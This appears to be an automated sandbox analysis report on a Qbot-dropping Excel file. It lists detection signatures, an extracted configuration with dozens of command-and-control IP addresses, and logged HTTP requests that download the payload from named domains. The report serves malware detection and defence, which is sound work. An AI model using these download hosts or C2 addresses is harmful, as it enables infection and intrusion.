Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls

Overview

General Information

Sample Name: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls
Analysis ID: 493727
MD5: 7b83b99dace5664b9ab5c0c3882be408
SHA1: 4c4893beca92234c023ee2dfff759e155c643ed3
SHA256: e005a59b0ab458c8a1ab6883e17504382bd72d2e9de8eb99c785de520c258c0c
Tags: xlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Qbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected Qbot
Multi AV Scanner detection for submitted file
Document exploit detected (drops PE files)
Sigma detected: Schedule system process
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Maps a DLL or memory area into another process
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Regsvr32 Command Line Without DLL
Machine Learning detection for dropped file
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Uses schtasks.exe or at.exe to add and modify task schedules
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Drops files with a non-matching file extension (content does not match file extension)
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

barindex
Found malware configuration
Source: 17.2.explorer.exe.af0000.0.unpack Malware Configuration Extractor: Qbot {"Bot id": "tr", "Campaign": "1632817399", "Version": "402.363", "C2 list": ["105.198.236.99:443", "140.82.49.12:443", "37.210.152.224:995", "89.101.97.139:443", "81.241.252.59:2078", "27.223.92.142:995", "81.250.153.227:2222", "73.151.236.31:443", "47.22.148.6:443", "122.11.220.212:2222", "120.151.47.189:443", "199.27.127.129:443", "216.201.162.158:443", "136.232.34.70:443", "76.25.142.196:443", "181.118.183.94:443", "120.150.218.241:995", "185.250.148.74:443", "95.77.223.148:443", "75.66.88.33:443", "45.46.53.140:2222", "173.25.166.81:443", "103.148.120.144:443", "173.21.10.71:2222", "186.18.205.199:995", "71.74.12.34:443", "67.165.206.193:993", "47.40.196.233:2222", "68.204.7.158:443", "47.40.196.233:2222", "24.229.150.54:995", "109.12.111.14:443", "177.130.82.197:2222", "72.252.201.69:443", "24.55.112.61:443", "24.139.72.117:443", "187.156.138.172:443", "71.80.168.245:443", "105.157.55.133:995", "82.77.137.101:995", "173.234.155.233:443", "75.188.35.168:443", "5.238.149.235:61202", "73.77.87.137:443", "182.176.112.182:443", "96.37.113.36:993", "162.244.227.34:443", "92.59.35.196:2222", "196.218.227.241:995", "68.207.102.78:443", "2.188.27.77:443", "189.210.115.207:443", "181.163.96.53:443", "75.107.26.196:465", "185.250.148.74:2222", "68.186.192.69:443"]}
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls Virustotal: Detection: 15% Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.20906.5188.xls ReversingLabs: Detection: 22%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\key[1].gif Joe Sandbox ML: detected
Source: C:\Datop\test1.test Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 199.79.63.251:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.251.80.22:443 -> 192.168.2.3:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.222.225.250:443 -> 192.168.2.3:49752 version: TLS 1.2
Source: Binary string: amstream.pdb source: explorer.exe, 00000011.00000003.389173855.0000000004BA1000.00000004.00000001.sdmp
Source: Binary string: c:\Bed\gone\91\Receive\Strai\what.pdb source: explorer.exe, 00000011.00000003.389474880.0000000004BA1000.00000004.00000001.sdmp, key[1].gif.0.dr
Source: Binary string: amstream.pdbGCTL source: explorer.exe, 00000011.00000003.389173855.0000000004BA1000.00000004.00000001.sdmp
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 9_2_1000AEF6 FindFirstFileW,FindNextFileW, 9_2_1000AEF6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00AFAEF6 FindFirstFileW,FindNextFileW, 17_2_00AFAEF6

Software Vulnerabilities:

barindex
Document exploit detected (drops PE files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: key[1].gif.0.dr Jump to dropped file
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Section loaded: unknown origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: gillcart.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.3:49724 -> 199.79.63.251:443
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.3:49724 -> 199.79.63.251:443

Networking:

barindex
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 199.79.63.251 199.79.63.251
Source: Joe Sandbox View IP Address: 162.251.80.22 162.251.80.22
Source: Joe Sandbox View IP Address: 162.222.225.250 162.222.225.250
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /Cdpmoyhr/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gillcart.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /MeOlE9Xxd/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: geit.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /9DPZqAfZdq5z/key.xml HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mercanets.comConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 29 Sep 2021 21:45:38 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html;charset=utf-8
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.aadrm.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.cortana.ai
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.office.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.onedrive.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://augloop.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://augloop.office.com;https://augloop-gcc.office.com;https://augloop.gov.online.office365.us;ht
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cdn.entity.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://clients.config.office.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://config.edge.skype.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cortana.ai
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cortana.ai/api
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://cr.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dev.cortana.ai
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://devnull.onenote.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://directory.services.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://graph.windows.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://graph.windows.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://lifecycle.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://login.windows.local
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://management.azure.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://management.azure.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://messaging.office.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ncus.contentsync.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://officeapps.live.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://onedrive.live.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://osi.office.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office365.com
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office365.com/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 91397EB9-F9FE-4202-A1C5-2BFBF4CBDD9F.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
